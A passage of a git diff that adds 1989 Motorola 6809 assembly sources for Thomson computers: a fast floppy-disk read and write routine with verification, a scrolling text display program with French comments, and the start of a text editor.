+ BEQ TD80
+TD90 LDA <$D3
+ LDA <$D0
+ BPL TD90
+TD100 LDA <$D0
+ BPL TD100
+TD110 LDA <$D3
+TD120 LDA <$D0
+ BPL TD120
+ BITA #$01
+ BNE TD110
+BUFFER LDX #$CAAC
+ LDA <$D3
+TD130 LDA <$D0
+ BPL TD130
+ LDA <$D3
+ CMPA #$FB
+ BNE TD130
+TD140 LDA <$D0
+ BPL TD140
+ LDA <$D3
+ STA ,X+
+COMPAR CMPX #$E002
+ BNE TD140
+ CLR <$D0
+ LDA #$40
+ STA <$D2
+ LDX COMPAR+1
+ DEC COMPT
+ LBNE NPIST
+ DEC NBREBK FB=nombre de banks
+ LBNE NBANK
+ LDA FGLANC FC=flag de lanceur
+ LBEQ GORAMD LANCE RAM-DISK
+ CLR $6052
+APPBK LDA #$28
+ PSHS A
+ LDA #$FF
+ STA $6080
+ STA $0003
+ LDA #$60
+ TFR A,DP
+ JSR $3FED
+ PULS A
+ STA $E7E6
+ LDU #$0000
+ TFR U,X
+LA20 LDA ,U+
+ LEAX A,X
+ CMPU #$0020
+ BNE LA20
+ LEAX $55,X
+ LDA $E7C3
+ ORA #$01
+ STA $E7C3
+ STX $5FC1
+ LDU $001E
+ LDS #$60CC
+ LDA #$02
+ STA $E7E5
+ CLR $60D1
+ JMP ,U
+
+
+GORAMD LDA #$06
+ STA $E7E5
+ STA $0001
+ LDX #$2000
+ LDU #$A000
+RD2 LDD ,X++
+ STD ,U++
+ CMPX #$4000
+ BNE RD2
+ LDX #$0000
+RD3 LDD ,X++
+ STD ,U++
+ CMPX #$2000
+ BNE RD3
+ LDD #$1212
+ STA $C021
+ STD $C022
+ LDA #$7A
+ STA $C026
+ LDD #$E7E6
+ STD $C027
+ LDD #$6301
+ STD $C19C
+ DEC $E7E5
+ STA $0000
+ LDX #$2000
+ LDU #$A000
+RD4 LDD ,X++
+ STD ,U++
+ CMPX #$4000
+ BNE RD4
+ LDX #$0000
+RD5 LDD ,X++
+ STD ,U++
+ CMPX #$2000
+ BNE RD5
+ LDA #$7C
+ STA $C021
+ LDD #$E7E6
+ STD $C022
+ LDD #$1212
+ STA $C026
+ STD $C027
+ LDD #$847E
+ STA $AB7D
+ LDA #$25
+ LDX #RD7
+ STB $ABBC
+ STX $ABBD
+ CLR $607F
+ CLR $E7E4
+ STA $E7E6
+ JMP $2B52
+RD7 CLR $E7E6
+ STA $0000
+ JMP $2452
diff --git a/code/3rdparty/sources3-lambinet/Turbodisk/TURBOPIO.ASM b/code/3rdparty/sources3-lambinet/Turbodisk/TURBOPIO.ASM
new file mode 100644
index 0000000..120d7d6
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Turbodisk/TURBOPIO.ASM
@@ -0,0 +1,244 @@
+
+
+
+***********************************
+******** TURBODISK pour ********
+******** PIO1 Version 1.2 ********
+******** AVEC VERIFICATION ********
+****************************10/10/89*
+
+*********** EQUATES ***********
+
+FLGEL EQU FIN
+FLGERR EQU FIN+1
+COMPTP EQU FIN+2
+COMPTB EQU FIN+3
+DEBZON EQU FIN+4
+ESSAI EQU FIN+6
+FLGCNT EQU FIN+7
+
+*********** PROGRAM ***********
+
+ ORG $8000
+ PSHS U,Y,X,DP,B,A,CC
+ LDD #$0114
+ DECA
+ BNE FACE1
+ INCB
+ BRA FACE0
+FACE1 LDA #$01
+FACE0 STA $6049
+ STB $604B
+ LDA #$03 No basic prem.bank
+ STA $E7E5
+NEXTBK LDA #$03
+ STA COMPTP
+ INC $E7E5
+ LDX #$A000
+ STX DEBZON
+NEXTPS DEC $6049
+ BEQ INIESS
+ DEC $604B
+ LDD #$4001
+ STD $6048
+INIESS LDA #4
+ STA ESSAI
+ CLR FLGCNT
+ LDX DEBZON
+ LEAX $1556,X
+ STX ECRZON+1,PCR
+ STX LECZON+1,PCR
+ STX CNTZON+1,PCR
+NEXTES LBSR TETE
+ LDY #0
+ATT0 LDA <$D1
+ BITA #$40
+ BEQ ATT0
+ATT1 LDA <$D3
+ LDA <$D0
+ BPL ATT1
+ATT2 LDA <$D0
+ BPL ATT2
+ TST FLGEL
+ BNE LECT
+ TST FLGCNT
+ LBNE CNTROL
+ LDD #$4EFF
+ STD <$D3
+ LDB #$04
+ STB <$D0
+ LDB #$40
+ATT3 LDA <$D0
+ BPL ATT3
+ CLR <$D3
+ DECB
+ BNE ATT3
+ATT4 LDA <$D0
+ BPL ATT4
+ LDD #$A10A
+ STD <$D3
+ATT5 LDB <$D0
+ BPL ATT5
+ STA <$D3
+ATT6 LDB <$D0
+ BPL ATT6
+ STA <$D3
+ATT7 LDA <$D0
+ BPL ATT7
+ LDD #$FBFF
+ STD <$D3
+ LDX DEBZON
+BECRI LDB <$D0
+ BPL BECRI
+ LDA ,X+
+ STA <$D3
+ LEAY A,Y
+ECRZON CMPX #$0000
+ BNE BECRI
+ TFR Y,D
+ STD CHKSUM+1,PCR
+ATT8 TST <$D0
+ BPL ATT8
+ STA <$D3
+ATT9 TST <$D0
+ BPL ATT9
+ STB <$D3
+ LDA #$10
+ATT10 LDB <$D0
+ BPL ATT10
+ STA <$D3
+ DECA
+ BNE ATT10
+ INC FLGCNT
+ LBRA NEXTES
+LECT LDA <$D3
+ATT14 LDA <$D0
+ BPL ATT14
+ BITA #$01
+ BNE LECT
+ CLRB
+ LDX DEBZON
+ LDA <$D3
+ATT15 LDA <$D0
+ BPL ATT15
+ LDA <$D3
+ CMPA #$FB
+ BEQ ATT16
+ DECB
+ BNE ATT15
+ BRA PBLECT
+ATT16 LDA <$D0
+ BPL ATT16
+ LDA <$D3
+ STA ,X+
+ LEAY A,Y
+LECZON CMPX #$0000
+ BNE ATT16
+ TFR Y,D
+ATT17 TST <$D0
+ BPL ATT17
+ CMPA <$D3
+ BNE PBLECT
+ATT18 TST <$D0
+ BPL ATT18
+ CMPB <$D3
+ BEQ FINPST
+PBLECT DEC ESSAI
+ LBNE NEXTES
+ LDA #$FF
+ STA FLGERR
+FINPST CLR <$D0
+ LDA #$40
+ STA <$D2
+ LDX LECZON+1,PCR
+ STX DEBZON
+ DEC COMPTP
+ LBNE NEXTPS
+ DEC COMPTB
+ LBNE NEXTBK
+ PULS CC,A,B,DP,X,Y,U,PC
+
+
+
+TETE JSR $E09D
+ JSR $E0A7
+ JSR $E45A
+ JSR $E4A8
+ LDB ,Y
+ LDA <$57
+ SUBB <$4B
+ BEQ TETE2
+ BPL TETE0
+ ORA #$20
+ NEGB
+TETE0 STA 2,X
+TETE1 ORA #$14
+ STA 2,X
+ ANDA #$EB
+ STA 2,X
+ JSR $E165
+ DECB
+ BNE TETE1
+TETE2 BSR TETE3
+ LDB <$4B
+ STB 6,X
+ STB ,Y
+ JSR $E341
+ LDB #$18
+ JSR $E394
+ LDA #$E7
+ TFR A,DP
+ RTS
+TETE3 LDY #$6052
+ LDA <$49
+ ANDA #$02
+ LEAY A,Y
+ RTS
+
+
+CNTROL LDA <$D3
+ATT19 LDA <$D0
+ BPL ATT19
+ BITA #$01
+ BNE CNTROL
+ CLRB
+ LDX DEBZON
+ LDA <$D3
+ATT20 LDA <$D0
+ BPL ATT20
+ LDA <$D3
+ CMPA #$FB
+ BEQ ATT21
+ DECB
+ BNE ATT20
+ BRA PBCNT
+ATT21 LDA <$D0
+ BPL ATT21
+ LDA <$D3
+ CMPA ,X+
+ BNE PBCNT
+CNTZON CMPX #$0000
+ BNE ATT21
+CHKSUM LDD #0
+ATT22 TST <$D0
+ BPL ATT22
+ CMPA <$D3
+ BNE PBCNT
+ATT23 TST <$D0
+ BPL ATT23
+ CMPB <$D3
+ BEQ FP
+PBCNT CLR FLGCNT
+ DEC ESSAI
+ LBNE NEXTES
+ LDA #$FF
+ STA FLGERR
+FP CLR FLGCNT
+ LBRA FINPST
+
+
+
+
+FIN NOP
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/unknown/DIFFUSIO.ASM b/code/3rdparty/sources3-lambinet/unknown/DIFFUSIO.ASM
new file mode 100644
index 0000000..392a3b6
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/unknown/DIFFUSIO.ASM
@@ -0,0 +1,867 @@
+****** 10/10/89 *******
+****** P.I.O. *******
+****** V 1.02 *******
+****** EQUATES ******
+
+T EQU $8000
+DIXIEM EQU T
+SECOND EQU T+1
+MINUTE EQU T+2
+HEURE EQU T+3
+JOUR EQU T+4
+MOIS EQU T+5
+ANNEE EQU T+6
+AFTIME EQU T+7
+TEXT EQU T+8
+DEBTXT EQU T+10
+PTEXT EQU T+12
+QUART EQU T+14
+PTCAR EQU T+15
+
+SAVS1 EQU T+19
+SAVS2 EQU T+21
+LINAFF EQU T+23
+ZONE EQU T+24
+GECAR EQU T+26
+VITES EQU T+28
+FLVIT EQU T+29
+COMPT EQU T+30
+APPRO EQU T+31
+SAVCAR EQU T+32
+TABCOU EQU T+34
+TABCO0 EQU T+36
+TABCOD EQU T+244
+NBRBOU EQU T+372
+TABBOU EQU T+373 20 boucles maxi
+TABSPG EQU T+433 50 sprog maxi
+TURBO0 EQU T+533
+TURBO1 EQU TURBO0+$7D0
+MEMSC0 EQU TURBO1+$7D0
+MEMSC1 EQU MEMSC0+$2A0
+PROG EQU MEMSC1+$2A0
+
+TIMER EQU $E7C6
+
+****** INITIALISATION ******
+
+ ORG PROG
+G PSHS U,Y,X,DP,B,A,CC
+ LDB #$14
+ JSR $E803
+ LDA $6019
+ ORA #2
+ STA $6019
+ LDB #$FA
+ JSR $E806
+ LDD #$FB04
+ STA $E7CC
+ STB $E7CE
+ ORCC #$50
+ LDX #$8000
+ LDU #0
+CLEAR STU ,X++
+ CMPX #$8400
+ BNE CLEAR
+ STS SAVS1
+ LDA #3
+ STA APPRO
+ STA QUART
+ LDA #$24
+ STA $E7E6
+ LDX #$0004
+ STX DEBTXT
+ STX PTEXT
+ LDX #$0200
+ STX VITES
+ LDX #$9800
+ STX GECAR
+ LDA #8
+ STA $E7E5
+ LDX #TABCO0
+ STX TABCOU
+ LDD #$4080
+C0 STA 64,X
+ STB 48,X
+ STB 32,X
+ STA 16,X
+ STB ,X+
+ ADDA #8
+ INCB
+ CMPB #$88
+ BNE C0
+ CLRA
+ CLRB
+C1 STA 64,X
+ STB 48,X
+ STB 32,X
+ STA 16,X
+ STB ,X+
+ ADDA #8
+ INCB
+ CMPB #$8
+ BNE C1
+ LDX #TABCOD
+ CLR COMPT
+C2 LDA COMPT
+ CMPA #128
+ BNE C23
+ LEAX -256,X
+C23 CLRB
+ LSRA
+ BCC C3
+ ORB #8
+C3 LSRA
+ BCC C4
+ ORB #$10
+C4 LSRA
+ BCC C5
+ ORB #$20
+C5 LSRA
+ BCC C6
+ ORB #1
+C6 LSRA
+ BCC C7
+ ORB #2
+C7 LSRA
+ BCC C8
+ ORB #4
+C8 LSRA
+ BCC C9
+ ORB #$80
+C9 LSRA
+ BCC C10
+ ORB #$40
+C10 STB ,X+
+ INC COMPT
+ BNE C2
+ LDX #TURBO0
+ BSR H10
+ LDX #TURBO1
+ BSR H10
+ LDX #TURBO1+6
+ LDU #MEMSC1+1
+ STU ,X
+ LDA #0
+ STA LINAFF
+ LBRA INTER
+
+H10 LEAX 7,X
+ LDY #TURBO-1
+ LDA #16
+I0 LDU ,Y++
+ LDB #64
+I1 STU ,X
+ LEAX 31,X
+ DECB
+ BNE I1
+ LEAX -1982,X
+ DECA
+ BNE I0
+ LEAX -39,X
+ LDD #$10FF
+ LDU #SAVS2
+ STD ,X++
+ STU ,X++
+ LDB #$CE
+ LDU #MEMSC0+1
+ STD ,X++
+ STU ,X
+ LEAX 1986,X
+ LDU #$8400
+ STU ,X++
+ LDU #SAVS2
+ LDB #$FE
+ STD ,X++
+ STU ,X++
+ LDA #$39
+ STA ,X
+ RTS
+
+INITOU STB LINAFF
+ BSR INIZON
+ BSR INICOU
+ BSR INIFOR
+ LBSR INIMS0
+ LBSR INIMS1
+ LBRA INITUR
+
+TURBO PULS CC,A,B,DP,X,Y,U
+ LEAS -1,S
+ PSHS U,Y,X,DP,B,A,CC
+ LEAS -$5AC6,S
+ PSHS U,Y,X,DP,B,A,CC
+ LEAS 50,S
+ PSHS U,Y,X,DP,B,A,CC
+ LEAS 50,S
+ PSHS U,Y,X,DP,B,A,CC
+ LEAS 50,S
+ PSHS U,Y,X,DP,B,A,CC
+ LEAS $5A63,S
+
+INIZON LDA LINAFF Calcule la fin
+ CMPA #34 de la zone
+ LBHI FINIZO
+ LDB #160
+ MUL
+ ADDD #$4A00
+ STD ZONE
+FINIZO RTS
+
+INICOU LDU ZONE Initial. des
+ BSR RAMB couleurs
+ LDX #$C0C0
+ LDY #$C0C0
+ LDD #$C000
+I3 PSHU Y,X,A
+ PSHU Y,X,A
+ DECB
+ BNE I3
+ RTS
+
+INIFOR LDU ZONE Efface la zone
+ LDA $E7C3 par initial. de
+ ORA #1 la forme à $F0
+ STA $E7C3
+ LDX #$F0F0
+ LDY #$F0F0
+ LDD #$F000
+I2 PSHU Y,X,A
+ PSHU Y,X,A
+ DECB
+ BNE I2
+RAMB LDA $E7C3
+ ANDA #$FE
+ STA $E7C3
+ RTS
+
+INIMS0 LDU #MEMSC0+672
+ LDX TABCOU
+ LDA ,X
+ ADDA 16,X
+ TFR A,B
+ TFR D,X
+ TFR D,Y
+ LDB #168
+PI0 PSHU X,Y
+ DECB
+ BNE PI0
+ RTS
+
+INIMS1 LDU #MEMSC1+672
+ LDX TABCOU
+ LDA 16,X
+ ADDA 32,X
+ TFR A,B
+ TFR D,X
+ TFR D,Y
+ LDB #168
+PI1 PSHU X,Y
+ DECB
+ BNE PI1
+ RTS
+
+INITUR LDU ZONE
+ LEAU -$9F6-MEMSC0,U
+ LDY #TURBO0+6
+ TFR U,D
+ NEGA
+ COMB
+ TFR D,X
+ LEAX -$162,X
+ LDA #16
+I4 LDB #4
+I5 LEAY 10,Y
+ STU ,Y
+ LEAY 21,Y
+ STX ,Y
+ DECB
+ BNE I5
+ LEAX 2,X
+ STX ,Y
+ LEAU $76,U
+ LEAX -$78,X
+ DECA
+ BNE I4
+ LDU ZONE
+ LEAU -$9F6-MEMSC1,U
+ LDY #TURBO1+6
+ TFR U,D
+ NEGA
+ COMB
+ TFR D,X
+ LEAX -$162,X
+ LDA #16
+I6 LDB #4
+I7 LEAY 10,Y
+ STU ,Y
+ LEAY 21,Y
+ STX ,Y
+ DECB
+ BNE I7
+ LEAX 2,X
+ STX ,Y
+ LEAU $76,U
+ LEAX -$78,X
+ DECA
+ BNE I6
+ RTS
+
+MEMZON LBSR INIZON
+ LDU #MEMSC0+$29E
+ LDY ZONE
+ LDA #16
+MZO0 LDB #20
+MZO1 LDX ,--Y
+ PSHU X
+ DECB
+ BNE MZO1
+ LEAY -$78,Y
+ LEAU -2,U
+ DECA
+ BNE MZO0
+ LBRA INITUR
+
+ATTRAM LDA #$31
+ STA $E7C1
+ATTRA0 LDA $E7E7
+ BPL ATTRA0
+TRAME LDA $E7E7
+ BMI TRAME
+ LDA #$30
+ STA $E7C1
+ RTS
+
+INTER BSR ATTRAM
+ LDX #$30D4
+ STX TIMER
+ BSR QUICK
+UN LDX TIMER
+ CMPX #$2710
+ BHI UN
+ BSR QUICK
+DEUX LDX TIMER
+ CMPX #$1D4C
+ BHI DEUX
+ BSR QUICK
+TROIS LDX TIMER
+ CMPX #$1388
+ BHI TROIS
+ BSR QUICK
+QUATRE LDX TIMER
+ CMPX #$09C4
+ BHI QUATRE
+ BSR QUICK
+ BRA INTER
+
+QUICK LDA $E7C3
+ BITA #8
+ LBEQ FINAL
+ LDA VITES
+ CMPA #1
+ BNE V023
+ COM FLVIT
+ LBEQ TURBO0
+V023 LDA QUART
+ CMPA APPRO
+ BLO ANCCAR
+ LDX PTEXT
+ LDA ,X+
+ STX PTEXT
+ CMPA #$20
+ LBLO CARSPC
+ STA SAVCAR
+ CLR QUART
+ LDB #64
+ MUL
+ ADDD GECAR
+ BRA AFFICH
+ANCCAR INCA
+ STA QUART
+ CMPA #4
+ BLO PASAPP
+ LDD #$800
+ ADDD GECAR
+ BRA AFFICH
+PASAPP LDD PTCAR
+ ADDD #16
+AFFICH STD PTCAR
+ LDA VITES
+ BEQ GLIMEM
+ BSR MODMEM
+ LDA VITES
+ CMPA #1
+ BNE V23
+ LBRA TURBO1
+V23 LBSR TURBO0
+ LDA VITES
+ CMPA #2
+ BLS SV
+ INC QUART
+ LDD PTCAR
+ ADDD #16
+ STD PTCAR
+GLIMEM BSR MODMEM
+ LDU #MEMSC0+1
+ LDA #16
+GL0 LDB #8
+GL1 PULU X,Y,DP
+ LEAU -1,U
+ PSHU X,Y,DP
+ LEAU 6,U
+ DECB
+ BNE GL1
+ LEAU 2,U
+ DECA
+ BNE GL0
+SV RTS
+MODMEM LDX PTCAR
+ LDY TABCOU
+ LDU #MEMSC0+41
+B2 LDA ,U
+ ANDA #$0F
+ ORA #$10
+ LDB A,Y
+ LDA ,X
+ STA ,U
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ ADDB A,Y
+ STB 671,U
+ ORA #$10
+ LDB A,Y
+ LDA ,X+
+ ANDA #$0F
+ ADDB A,Y
+ STB -1,U
+ LEAU 42,U
+ CMPU #MEMSC1
+ BLO B2
+ RTS
+
+CARSPC ORCC #$50
+ COM FLVIT
+ LDU #DISPAT
+ LSLA
+ JMP [A,U]
+
+DISPAT FDB NUL,APP,BOU,COU,DEB,EFF
+ FDB FIN,GEC,HEU,INV,JOU,KLI
+ FDB LAR,MIX,NUL,ORI,PAU,NUL
+ FDB REP,SPG,TRA,UTI,VIT,NUL
+ FDB NUL,NUL,NUL,NUL,NUL,NUL
+ FDB NUL,NUL
+
+INPUT LDB ,X+
+ CMPB #10
+ LBHI QUICK
+ LDA #10
+ MUL
+ TFR D,U
+ LDB ,X+
+ CMPB #10
+ LBHI QUICK
+ LEAU B,U
+ TFR U,D
+ STX PTEXT
+ RTS
+
+NUL RTS
+
+APP LDA ,X+
+ STX PTEXT
+ CMPA #3
+ BHI NUL
+ ADDA #3
+ STA APPRO
+ LBRA QUICK
+BOU LDA NBRBOU
+ INCA
+ STA NBRBOU
+ CMPA #16
+ BLS BOUD
+BOUR LDD ,X+
+ CMPD #$0602
+ BNE BOUR
+ STD PTEXT
+ DEC NBRBOU
+ BRA NUL
+BOUD LDY #TABBOU
+ LEAY A,Y
+ LEAY A,Y
+ LEAY A,Y
+ BSR INPUT
+ STB ,Y+
+ BEQ BOUR
+ STX ,Y
+ LBRA QUICK
+COU LDA ,X+
+ CMPA #1
+ BNE COUI
+ BSR CINPUT
+ BRA COUA
+CINPUT LDD ,X++
+ STX PTEXT
+ CMPA #15
+ LBHI QUICK
+ CMPB #15
+ LBHI QUICK
+ RTS
+COUA PSHS A,B
+ LDX #TABCO0
+ LEAY 48,X
+ LDB B,Y
+ STB A,X
+ ORA #$20
+ STB A,X
+ PULS B,A
+ ORB #$10
+ LDB B,Y
+ ORA #$10
+ STB A,X
+ LBRA QUICK
+COUI CMPA #9
+ BNE COUP
+ BSR CINPUT
+ PSHS A,B
+ LDX #TABCO0
+ LDA B,X
+ LDB ,S
+ LDB B,X
+ PSHS B
+ LDB 1,S
+ STA B,X
+ PULS B
+ LDA 1,S
+ STB A,X
+ LEAX 16,X
+ LDB 1,S
+ LDA B,X
+ LDB ,S
+ LDB B,X
+ PSHS B
+ LDB 1,S
+ STA B,X
+ PULS B
+ LDA 1,S
+ STB A,X
+ LDX #TABCO0
+ PULS A,B
+ LEAX A,X
+ LDA ,X
+ STA 32,X
+ LDX #TABCO0
+ LEAX B,X
+ LDA ,X
+ STA 32,X
+ LBRA QUICK
+COUP CMPA #16
+ BNE COUR
+ CLRB
+COUP0 LDU #TABCO0
+ LDA ,X+
+ CMPA #15
+ BHI COUP1
+ LEAY A,U
+ LEAU B,U
+ LDA 48,Y
+ STA ,U
+ STA 32,U
+ LDA 64,Y
+ STA 16,U
+COUP1 INCB
+ CMPB #16
+ BNE COUP0
+ STX PTEXT
+ LBRA QUICK
+COUR CMPA #18
+ BNE COUT
+ STX PTEXT
+ LDB #8
+ LDX #TABCO0
+BCOUR LDU 64,X
+ STU 16,X
+ LDU 48,X
+ STU 32,X
+ STU ,X++
+ DECB
+ BNE BCOUR
+ LBRA QUICK
+COUT CMPA #20
+ BNE SCOUT
+ LDA ,X+
+ STX PTEXT
+ CMPA #15
+ BHI SCOUT
+ CMPA #8
+ BLO ADDCOU
+ ADDA #$18
+ADDCOU ADDA #$60
+ LDB #$1B
+ JSR $E803
+ TFR A,B
+ JSR $E803
+ LBSR RAMB
+SCOUT LBRA QUICK
+
+DEB LDX DEBTXT
+ STX PTEXT
+ LBRA QUICK
+
+EFF LDU #$5F40
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDA #$F0
+ TFR A,DP
+ LDX #$F0F0
+ LDY #$F0F0
+ LDA #10
+EFFT0 LDB #160
+EFFT1 PSHU DP,X,Y
+ DECB
+ BNE EFFT1
+ DECA
+ BNE EFFT0
+ LBSR RAMB
+ LDU #$5F40
+ LDX TABCOU
+ LDA ,X
+ ORA 16,X
+ TFR A,B
+ TFR A,DP
+ TFR D,X
+ TFR D,Y
+ LDA #10
+EFFT2 LDB #160
+EFFT3 PSHU DP,X,Y
+ DECB
+ BNE EFFT3
+ DECA
+ BNE EFFT2
+ LBRA ATTKLI
+
+FIN LDA ,X+
+ CMPA #2
+ LBHI QUICK
+ BEQ FINB
+FINAL CLR $E7E6
+ LDD #$F71F
+ STA $E7CC
+ STB $E7CE
+ LDA #$31
+ STA $E7C1
+ LDS SAVS1
+K PULS CC,A,B,DP,X,Y,U,PC
+FINB CMPA #2
+ LBNE QUICK
+ LDA NBRBOU
+ LDU #TABBOU
+ LEAU A,U
+ LEAU A,U
+ LEAU A,U
+ DEC ,U+
+ BEQ FINC
+ LDX ,U
+ STX PTEXT
+ LBRA QUICK
+FINC DEC NBRBOU
+ STX PTEXT
+ BRA FINC-3
+
+GEC LDA ,X+
+ STX PTEXT
+ CMPA #3
+ LBHI QUICK
+ LDB #8
+ BITA #2
+ BEQ GEC0
+ LDB #9
+GEC0 STB $E7E5
+ BITA #1
+ BNE GEC1
+ LDX #$9800
+ BRA GEC1+3
+GEC1 LDX #$B800
+ STX GECAR
+ LBRA QUICK
+
+INV LDX #TABCO0
+ LDD ,X
+ EXG A,B
+ STD ,X
+ STD 32,X
+ LDD 16,X
+ EXG A,B
+ STD 16,X
+ LBRA QUICK
+
+KLI LBSR INPUT
+ STB COMPT
+ LEAS -1,S
+BC LDU ZONE
+ LDX TABCOU
+ LDA ,X
+ ADDA 16,X
+ TFR A,B
+ TFR D,X
+ TFR D,Y
+ LDB #$A0
+BC0 PSHU X,Y
+ PSHU X,Y
+ PSHU X,Y
+ PSHU X,Y
+ DECB
+ BNE BC0
+ LDX #$6000
+BC1 LEAX -1,X
+ BNE BC1
+ LDY ZONE
+ LEAY -$A00+5,Y
+ LDU #MEMSC0
+ LDA #8
+ STA ,S
+BC2 PULU DP,A,B,X
+ EXG Y,U
+ PSHU X,B,A,DP
+ LEAU 45,U
+ PSHU X,B,A,DP
+ LEAU 45,U
+ PSHU X,B,A,DP
+ LEAU 45,U
+ PSHU X,B,A,DP
+ LEAU -$6E,U
+ EXG Y,U
+ DEC ,S
+ BNE BC2
+ LDA #8
+ STA ,S
+ LEAU 2,U
+ LEAY $78,Y
+ CMPY ZONE
+ BLO BC2
+ LDX #$C000
+BC3 LEAX -1,X
+ BNE BC3
+ DEC COMPT
+ BNE BC
+ LEAS 1,S
+
+ATTKLI LDX TIMER
+ CMPX #$9FF
+ BLO ATTKLI
+ RTS
+
+ORI LBSR INPUT
+ CMPB #34
+ LBHI QUICK
+ LBSR INITOU
+ LBRA MEMZON
+
+PAU LBSR INPUT
+ LSLB
+TEMPO LDX #0
+ LEAX -1,X
+ BNE TEMPO+3
+ DECB
+ BNE TEMPO
+ LBRA ATTKLI
+
+TRA LBSR INPUT
+ CMPB #34
+ LBHI QUICK
+ SUBB LINAFF
+ LBEQ QUICK
+ BMI MON0
+ STB COMPT
+DES1 INC LINAFF
+ LBSR INIZON
+ LBSR ATTRAM
+ LDU ZONE
+ LEAU -$A5,U
+ LDA #16
+DES2 LDB #8
+DES3 PULU X,Y,DP
+ LEAU $28,U
+ PSHU X,Y,DP
+ LEAU $2D,U
+ PSHU X,Y,DP
+ LEAU $2D,U
+ PSHU X,Y,DP
+ LEAU $2D,U
+ PSHU X,Y,DP
+ LEAU -$A5,U
+ DECB
+ BNE DES3
+ LEAU -$78,U
+ DECA
+ BNE DES2
+ DEC COMPT
+ BNE DES1
+ BRA TRAS
+MON0 NEGB
+ STB COMPT
+MON1 DEC LINAFF
+ LBSR INIZON
+ LDU ZONE
+ LEAU -$960,U
+ LDA #16
+MON2 LDB #8
+MON3 PULU X,Y,DP
+ LEAU -$28,U
+ PSHU X,Y,DP
+ LEAU -$23,U
+ PSHU X,Y,DP
+ LEAU -$23,U
+ PSHU X,Y,DP
+ LEAU -$23,U
+ PSHU X,Y,DP
+ LEAU $A5,U
+ DECB
+ BNE MON3
+ LEAU $78,U
+ DECA
+ BNE MON2
+ LBSR ATTRAM
+ DEC COMPT
+ BNE MON1
+
+TRAS LBSR MEMZON
+ LBRA ATTKLI
+
+VIT LDA ,X+
+ STX PTEXT
+ CMPA #3
+ LBHI QUICK
+ STA VITES
+ CMPA #2
+ LBEQ QUICK
+ CLR FLVIT
+ LDU #TABCOD
+ LDX #MEMSC0
+B3 LDB #39
+B4 LDA ,X+
+ ANDA #$87
+ LEAY A,U
+ LDA ,X
+ ANDA #$78
+ LDA A,Y
+ STA $2A0,X
+ DECB
+ BNE B4
+ LEAX 3,X
+ CMPX #MEMSC1
+ BLO B3
+ LBRA QUICK
+
+
+HEU RTS
+JOU RTS
+LAR RTS
+MIX RTS
+REP RTS
+SPG RTS
+UTI RTS
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/unknown/EDITEURP.ASM b/code/3rdparty/sources3-lambinet/unknown/EDITEURP.ASM
new file mode 100644
index 0000000..10cf881
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/unknown/EDITEURP.ASM
@@ -0,0 +1,813 @@
+
+******** EDITEUR *******
+
+M EQU $C000
+COMPT EQU M
+COMPTL EQU M+1
+FLGCOM EQU M+2
+TYPPAR EQU M+3
+DEBTXT EQU M+4
+PTEXT EQU M+6
+FINTXT EQU M+8
+LIMTXT EQU M+10
+PTRCOU EQU M+12
+GECAR EQU M+14
+CCAR EQU M+16
+CCOM EQU M+17
+CPAR EQU M+18
+CGRA EQU M+19
+CERR EQU M+20
+CFILET EQU M+21
+CRIEN EQU M+22
+FLGCLI EQU M+24
+FLGMOD EQU M+25
+MCAR EQU M+26
+MCOM EQU M+28
+MPAR EQU M+30
+MGRA EQU M+32
+MACC EQU M+34
+FLGACG EQU M+36
+PTRGRA EQU M+37
+PILEB EQU M+38
+
+MEMCOU EQU $C100 /$C2B7
+
+******** PROGRAMME *******
+
+ ORG $C800
+G LDB #$1B
+ JSR $E803
+ LDB #$60
+ JSR $E803
+ LDX #$C300
+ STX DEBTXT
+ LDX #$C328
+ STX PTEXT
+ LDX #$C350
+ STX FINTXT
+ LDX #$C7FF
+ STX LIMTXT
+ LDX #$A001
+ STX GECAR
+ LDX #$F8C3
+ STX CCAR
+ LDX #$C6D0
+ STX CPAR
+ LDX #$D1E0
+ STX CERR
+ LDX #$E000
+ STX CRIEN
+ LDX #$6000
+ STX MCAR
+ LDX #$6496
+ STX MACC
+ LDX #$631F
+ STX MCOM
+ LDX #$661E
+ STX MPAR
+ LDX #$621D
+ STX MGRA
+ LDX #0
+ STX FLGCLI
+ LDA #20
+ STA PTRGRA
+ LBRA PREPEC
+
+INSERT LDU FINTXT
+ CMPU LIMTXT
+ LBHS GETC
+ LEAU 1,U
+ STU FINTXT
+ PSHS B
+ LDX PTEXT
+ STX INS4+2,PCR
+ LEAX 40,X
+ STX INS2+2,PCR
+ CMPX FINTXT
+ BHS INS3
+INS1 LEAU -7,U
+ PULU X,Y,A,B,DP
+ LEAU 1,U
+ PSHU X,Y,A,B,DP
+ LEAU -8,U
+ PULU X,Y,A,B,DP
+ LEAU 1,U
+ PSHU X,Y,A,B,DP
+ LEAU -8,U
+ PULU X,Y,A,B,DP
+ LEAU 1,U
+ PSHU X,Y,A,B,DP
+ LEAU -8,U
+ PULU X,Y,A,B,DP
+ LEAU 1,U
+ PSHU X,Y,A,B,DP
+ LEAU -8,U
+ PULU X,Y,A,B,DP
+ LEAU 1,U
+ PSHU X,Y,A,B,DP
+ LEAU -1,U
+INS2 CMPU #0
+ BHI INS1
+INS3 LDA ,-U
+ STA 1,U
+INS4 CMPU #0
+ BHI INS3
+ PULS B
+ LDX PTEXT
+ STB ,X+
+ STX PTEXT
+ LBRA AFFICH
+
+DELETE LDX PTEXT
+ CMPX FINTXT
+ LBHI GETC
+ TFR X,U
+ LDX FINTXT
+ STX DEL4+2,PCR
+ LEAX -1,X
+ STX FINTXT
+ LEAX -39,X
+ STX DEL2+2,PCR
+ STX DEL0+2,PCR
+ LEAU 1,U
+DEL0 CMPU #0000
+ BHS DEL3
+DEL1 PULU X,Y,A,B,DP
+ LEAU -1,U
+ PSHU X,Y,A,B,DP
+ LEAU 8,U
+ PULU X,Y,A,B,DP
+ LEAU -1,U
+ PSHU X,Y,A,B,DP
+ LEAU 8,U
+ PULU X,Y,A,B,DP
+ LEAU -1,U
+ PSHU X,Y,A,B,DP
+ LEAU 8,U
+ PULU X,Y,A,B,DP
+ LEAU -1,U
+ PSHU X,Y,A,B,DP
+ LEAU 8,U
+ PULU X,Y,A,B,DP
+ LEAU -1,U
+ PSHU X,Y,A,B,DP
+ LEAU 8,U
